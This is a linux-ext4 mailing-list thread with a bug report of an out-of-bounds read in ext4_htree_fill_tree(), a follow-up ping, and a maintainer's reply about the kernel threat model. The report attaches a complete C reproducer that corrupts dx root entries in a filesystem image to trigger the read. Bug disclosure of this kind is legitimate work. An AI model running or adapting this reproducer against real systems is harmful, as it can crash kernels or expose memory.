Linux EXT4 FS development
 help / color / mirror / Atom feed
* [BUG] ext4: ext4_htree_fill_tree() reads '..' outside the dx root block when '.' has a bad rec_len
@ 2026-11-16 19:42 Kyuwon Cho
  2026-12-03 16:35 ` Kyuwon Cho
  0 siblings, 1 reply; 3+ messages in thread
From: Kyuwon Cho @ 2026-11-16 19:42 UTC (permalink / raw)
  To: Theodore Ts'o, Andreas Dilger
  Cc: Jan Kara, Baokun Li, Ojaswin Mujoo, Ritesh Harjani (IBM),
	Zhang Yi, linux-ext4, linux-kernel

[-- Attachment #1: Type: text/plain, Size: 2782 bytes --]

Hi Ted, Andreas,

While testing v7.4-rc3 with an LLM-guided test generator that we are
developing as a research prototype, we found that getdents64() on an
htree directory whose dx root '.' entry has a corrupted rec_len makes
ext4_htree_fill_tree() read the '..' entry from far outside the
directory block:

  BUG: KASAN: slab-use-after-free in ext4_htree_fill_tree+0xad8/0xb50
  Read of size 1 at addr ff11000013189002 by task test/107
  Call Trace:
   <TASK>
   ext4_htree_fill_tree+0xad8/0xb50
   ext4_readdir+0x18de/0x2e00
   iterate_dir+0x1b7/0x640
   __x64_sys_getdents64+0x128/0x230
   do_syscall_64+0x116/0x630
   entry_SYSCALL_64_after_hwframe+0x77/0x7f
   </TASK>
  The buggy address belongs to the object at ff11000013189000
   which belongs to the cache names_cache of size 192

Other runs reported slab-out-of-bounds reads in ext4_htree_fill_tree()
and in ext4_htree_store_dirent(), when it copies the name. The object
KASAN names is unrelated memory that happens to lie where the read
lands.

ext4_htree_fill_tree() emits '.' and '..' from the htree root block
without validating them:

	de = (struct ext4_dir_entry_2 *) frames[0].bh->b_data;
	de = ext4_next_entry(de, dir->i_sb->s_blocksize);
	tmp_str.name = de->name;
	tmp_str.len = de->name_len;
	err = ext4_htree_store_dirent(dir_file, 2, 0, de, &tmp_str);

dx_probe() checks the dx_root_info fields but not the '.' entry, so with
a '.' rec_len of 65532 on a 4 KiB block, '..' is taken from 64 KiB past
the block. The linear readdir path rejects the same block ("bad entry in
directory: directory entry overrun - offset=0, inode=12, rec_len=65532,
size=4096").

Rejecting the dx root in dx_probe() when the '.' rec_len is not
ext4_dir_rec_len(1, NULL), which is what the dx_root layout assumes,
makes the problem go away here: the reproducer ran three times without a
report, dx_probe() reports the corrupt directory, and readdir falls back
to the linear path, which reports the bad entry. Checking '..' with
ext4_check_dir_entry() before using it would be another way.

The reproducer needs root, since it mounts an image. It takes a 32 MiB
image made with "mkfs.ext4 -q -F", clears the metadata_csum feature so
the dx root checksums are not checked, and creates htree directories.
Then it sets the '.' rec_len of their dx root blocks to large values,
remounts, and calls getdents64() on each directory. On an x86_64 QEMU
guest with 2 vCPUs and KASAN (gcc 13.3, config attached), it triggers in
every run (4 of 4).

Checked against v7.4-rc3 (aebb72744764). We found no earlier report on
syzbot or on linux-ext4; the closest is the report of 2026-11-10 about
the hash trailer in ext4_inlinedir_to_tree(), which is a different path.

The reproducer (repro.c) and the kernel config are attached.

Thanks,
Kyuwon Cho

[-- Attachment #2: repro.c --]
[-- Type: text/plain, Size: 6474 bytes --]

// Reproducer for the ext4_htree_fill_tree '..' dot-dotdot sibling of bc4b7b0414c3.
//
// The dx root block's '.' entry has rec_len 12 and '..' follows at b_data + rec_len('.').
// ext4_htree_fill_tree reads '..' with no ext4_check_dir_entry and no bounds check. This program
// makes the on-disk '.' rec_len of several htree directories large (0xFFFC, so '..' starts at
// block offset 65532, far past a 1 KiB or 4 KiB block) and then calls getdents64 on each one.
// The first getdents reads inode/name_len/name at that offset, outside the buffer_head data.
//
// Steps (syscalls and loop ioctls only):
//  1. copy the image (argv[1], default /files/e4.img; make it with
//     "truncate -s 32M e4.img && mkfs.ext4 -q -F e4.img") to /tmp, clear the metadata_csum ro_compat bit so the
//     dx root checksum is not verified, and attach it to a loop device;
//  2. mount ext4, create NDIRS htree directories with NFILES entries each;
//  3. umount, find each directory's dx root by its '.' entry (inode, rec_len 12, name "."),
//     and patch rec_len;
//  4. remount and getdents64 each directory.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#define LOOP_SET_FD 0x4C00
#define LOOP_CLR_FD 0x4C01
#define IMG "/tmp/e4.img"
#define MNT "/tmp/mnt"
#define NDIRS 6
#define NFILES 150
#define SB_FEATURE_RO_COMPAT (1024 + 0x64)
#define RO_COMPAT_METADATA_CSUM 0x0400

static const char *image;

static const uint16_t offs[NDIRS] = {65532, 61440, 49152, 40960, 32768, 20480};
static char loopdev[64] = "/dev/loop0";

static void die(const char *m)
{
	printf("repro: %s: %s\n", m, strerror(errno));
	fflush(stdout);
	exit(1);
}

static void setup_loopdev(void)
{
	struct stat st;

	if (stat("/dev/loop0", &st) == 0)
		return;
	if (mknod("/tmp/loop0", S_IFBLK | 0600, makedev(7, 0)) != 0)
		die("mknod loop0");
	strcpy(loopdev, "/tmp/loop0");
}

static int attach(int imgfd)
{
	int lfd = open(loopdev, O_RDWR);

	if (lfd < 0)
		die("open loop");
	if (ioctl(lfd, LOOP_SET_FD, imgfd) != 0)
		die("LOOP_SET_FD");
	return lfd;
}

static void detach(int lfd)
{
	ioctl(lfd, LOOP_CLR_FD, 0);
	close(lfd);
}

static void copy_image(void)
{
	int src = open(image, O_RDONLY), dst;
	char buf[65536];
	ssize_t n;

	if (src < 0)
		die("open image");
	dst = open(IMG, O_RDWR | O_CREAT | O_TRUNC, 0600);
	if (dst < 0)
		die("create " IMG);
	while ((n = read(src, buf, sizeof(buf))) > 0)
		if (write(dst, buf, n) != n)
			die("write image copy");
	close(src);
	close(dst);
}

static void clear_metadata_csum(void)
{
	int fd = open(IMG, O_RDWR);
	uint32_t f;

	if (fd < 0)
		die("open image rw");
	if (pread(fd, &f, 4, SB_FEATURE_RO_COMPAT) != 4)
		die("read ro_compat");
	printf("repro: ro_compat before %#x\n", f);
	f &= ~RO_COMPAT_METADATA_CSUM;
	if (pwrite(fd, &f, 4, SB_FEATURE_RO_COMPAT) != 4)
		die("write ro_compat");
	close(fd);
}

static void mount_fs(int lfd)
{
	(void)lfd;
	if (mount(loopdev, MNT, "ext4", 0, NULL) != 0)
		die("mount ext4");
}

static void create_dirs(uint32_t ino[NDIRS])
{
	char p[256], name[256];
	struct stat st;
	int d, f, fd;

	for (d = 0; d < NDIRS; d++) {
		snprintf(p, sizeof(p), MNT "/d%d", d);
		if (mkdir(p, 0755) != 0)
			die("mkdir");
		for (f = 0; f < NFILES; f++) {
			snprintf(name, sizeof(name),
				 MNT "/d%d/htree_entry_name_padding_%04d", d, f);
			fd = open(name, O_CREAT | O_WRONLY, 0644);
			if (fd < 0)
				die("create entry");
			close(fd);
		}
		if (stat(p, &st) != 0)
			die("stat dir");
		ino[d] = (uint32_t)st.st_ino;
		printf("repro: dir d%d ino %u\n", d, ino[d]);
	}
	sync();
}

static int patch_dx_roots(uint32_t ino[NDIRS])
{
	int fd = open(IMG, O_RDWR);
	off_t sz;
	uint8_t *buf;
	int d, patched = 0;
	off_t i;

	if (fd < 0)
		die("open image for patch");
	sz = lseek(fd, 0, SEEK_END);
	buf = malloc(sz);
	if (!buf || pread(fd, buf, sz, 0) != sz)
		die("read image");
	for (d = 0; d < NDIRS; d++) {
		int hits = 0;
		off_t hits_at[8];

		for (i = 0; i + 12 + 10 <= sz; i++) {
			uint8_t pat[9];

			pat[0] = ino[d] & 0xff;
			pat[1] = (ino[d] >> 8) & 0xff;
			pat[2] = (ino[d] >> 16) & 0xff;
			pat[3] = (ino[d] >> 24) & 0xff;
			pat[4] = 0x0c; pat[5] = 0x00;	/* rec_len 12 */
			pat[6] = 0x01; pat[7] = 0x02;	/* name_len 1, EXT4_FT_DIR */
			pat[8] = '.';
			if (memcmp(buf + i, pat, 9) != 0)
				continue;
			/* '..' must follow at +12 with name_len 2 */
			if (buf[i + 12 + 6] != 2 || buf[i + 12 + 8] != '.' ||
			    buf[i + 12 + 9] != '.')
				continue;
			if (hits < 8)
				hits_at[hits] = i;
			hits++;
		}
		/* The journal keeps old copies of the dx root block too; patch every copy. */
		if (hits == 0) {
			printf("repro: d%d no dx root found\n", d);
			continue;
		}
		{
			uint16_t v = offs[d];
			int k;

			for (k = 0; k < hits && k < 8; k++) {
				if (pwrite(fd, &v, 2, hits_at[k] + 4) != 2)
					die("patch rec_len");
				printf("repro: d%d dx root copy %d at image byte %lld, '.' rec_len -> %u\n",
				       d, k, (long long)hits_at[k], offs[d]);
			}
			patched++;
		}
	}
	free(buf);
	fsync(fd);
	close(fd);
	return patched;
}

static void getdents_all(void)
{
	char name[256], buf[32768];
	int d;

	for (d = 0; d < NDIRS; d++) {
		int fd;
		long n;

		snprintf(name, sizeof(name), MNT "/d%d", d);
		fd = open(name, O_RDONLY | O_DIRECTORY);
		if (fd < 0)
			die("open dir");
		printf("repro: getdents d%d\n", d);
		fflush(stdout);
		n = syscall(SYS_getdents64, fd, buf, sizeof(buf));
		printf("repro: getdents d%d returned %ld\n", d, n);
		fflush(stdout);
		close(fd);
	}
}

int main(int argc, char **argv)
{
	image = argc > 1 ? argv[1] : "/files/e4.img";
	uint32_t ino[NDIRS];
	int imgfd, lfd, patched;

	mkdir("/tmp", 0777);
	setup_loopdev();
	copy_image();
	clear_metadata_csum();

	imgfd = open(IMG, O_RDWR);
	if (imgfd < 0)
		die("open image");
	lfd = attach(imgfd);
	if (mkdir(MNT, 0755) != 0 && errno != EEXIST)
		die("mkdir mnt");
	mount_fs(lfd);
	create_dirs(ino);
	if (umount2(MNT, 0) != 0)
		die("umount");
	detach(lfd);
	close(imgfd);

	patched = patch_dx_roots(ino);
	printf("repro: patched %d dx roots\n", patched);
	fflush(stdout);

	imgfd = open(IMG, O_RDWR);
	if (imgfd < 0)
		die("reopen image");
	lfd = attach(imgfd);
	mount_fs(lfd);
	getdents_all();
	umount2(MNT, 0);
	detach(lfd);
	close(imgfd);
	printf("repro: done\n");
	return 0;
}

[-- Attachment #3: config.gz --]
[-- Type: application/gzip, Size: 37687 bytes --]

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [BUG] ext4: ext4_htree_fill_tree() reads '..' outside the dx root block when '.' has a bad rec_len
  2026-11-16 19:42 [BUG] ext4: ext4_htree_fill_tree() reads '..' outside the dx root block when '.' has a bad rec_len Kyuwon Cho
@ 2026-12-03 16:35 ` Kyuwon Cho
  2026-12-04  4:00   ` Theodore Tso
  0 siblings, 1 reply; 3+ messages in thread
From: Kyuwon Cho @ 2026-12-03 16:35 UTC (permalink / raw)
  To: Theodore Ts'o, Andreas Dilger
  Cc: Jan Kara, Baokun Li, Ojaswin Mujoo, Ritesh Harjani (IBM),
	Zhang Yi, linux-ext4, linux-kernel

Hi Ted, Andreas,

Gentle ping on this report. ext4_htree_fill_tree() is unchanged in v7.4-rc5, so the read outside the dx root
block is still there. I am happy to test a fix or to send
more details if that helps.

Thanks,
Kyuwon

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [BUG] ext4: ext4_htree_fill_tree() reads '..' outside the dx root block when '.' has a bad rec_len
  2026-12-03 16:35 ` Kyuwon Cho
@ 2026-12-04  4:00   ` Theodore Tso
  0 siblings, 0 replies; 3+ messages in thread
From: Theodore Tso @ 2026-12-04  4:00 UTC (permalink / raw)
  To: Kyuwon Cho
  Cc: Andreas Dilger, Jan Kara, Baokun Li, Ojaswin Mujoo,
	Ritesh Harjani (IBM), Zhang Yi, linux-ext4, linux-kernel

On Thu, Dec 03, 2026 at 08:35:10AM -0500, Kyuwon Cho wrote:
> Hi Ted, Andreas,
> 
> Gentle ping on this report. ext4_htree_fill_tree() is unchanged in v7.4-rc5, so the read outside the dx root
> block is still there. I am happy to test a fix or to send
> more details if that helps.

We are absolutely flooded with AI generated bugs and security bugs.
Please note from https://docs.kernel.org/process/threat-model.html
that maliciously crafted file system is not considered a security bug.

   In the Linux kernel’s threat model, the following classes of
   problems are NOT considered Linux Kernel vulnerabilities. However,
   when it is believed that the kernel could do better, they should be
   reported, so that they can be reviewed and fixed where reasonably
   possible, but they will be handled as any regular bug.

   Some of these bugs may still have a security impact for a few
   users, for example when their exploitation requires a dedicated
   network link, a crafted device, or a crafted file system image that
   only root may mount. For the vast majority of users the impact is
   null, and such isolated bugs do not represent a target worth
   writing an exploit for, which is why they are handled publicly (a
   CVE may still be assigned later by the CVE team). However,
   publishing a reproducer or an exploit could put the few exposed
   users at risk. For such bugs, the fix is sent publicly like any
   regular fix, with a commit message that does not detail how to
   exploit the bug, while the reproducer and any exploit are only
   shared privately with the maintainers and are never posted to
   public lists.

In other words. I consider the storage device to be part of the
Trusted Computing Base.  Someone who takes a USB device that is
scattered in the parking lot by a MSS, NSA, or KGB agent and just
mounts without running fsck first is committing professional
malpractice.  And their incompetence does not consitute an emergency
on my part.

The bottom line is that I and many other kernel developers are
absolutely flooded and overloaded with real security bugs, and helping
our organizations deal with real bugs.  Bugs that involve crafted file
systems are simply not a priority.  We get enough noise from these
from Syzbot.  Additional research prototypes generating more such bug
reports not really providing much in the way of real world impact,
because we have to be fairly ruthless in prioritizing what we work on.
I do file such things as bugs on my bug backlog, but it may be many
months before I get to it.

If you want to try creating a *fix* for a bug, we'll look at it, but
if the fix destroys performance or reduces future code maintainability
in the name of protecting against malicously crafted file systems, we
reserve the right to reject fixes as Not Being Worth It.

We are working on trying to improve instructions we can give to AI
agents to better create patches, and to improve our patch review to
reject terrible patches generated by well-meaning, but ultimately
misguided security researchers who seem to think that security for
weird-shit corner cases that aren't even part of our recognized threat
model is more important than all other considerations, including
performance and code maintainability.

Many organizations are also looking at tools and have developed tools,
for triaging the absolute *flood* of AI slop security reports and
fixes.  Most of those tend to be fairly specific to their company, and
I'm not aware of anyone being willing to make their full security
triage pipeline public.  But if you are looking for some research
directions that will actually help instead of harm upstream kernel
developers, perhaps this might be an area of fruitful research.

(But if you work for a security company that attempts to inflate the
severity of security bugs to claim that debugging tools that are being
insufficiently careful constitute a "one click expoit" because
obviously a stupid developer will run such commands as root on an
untrusted file system --- I know that I can't stop search researchers
from publishing such nonsense claims as part of their business model;
but I don't have to cooperate with them.)

Cheers,

							- Ted

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-12-04  4:01 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-11-16 19:42 [BUG] ext4: ext4_htree_fill_tree() reads '..' outside the dx root block when '.' has a bad rec_len Kyuwon Cho
2026-12-03 16:35 ` Kyuwon Cho
2026-12-04  4:00   ` Theodore Tso

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox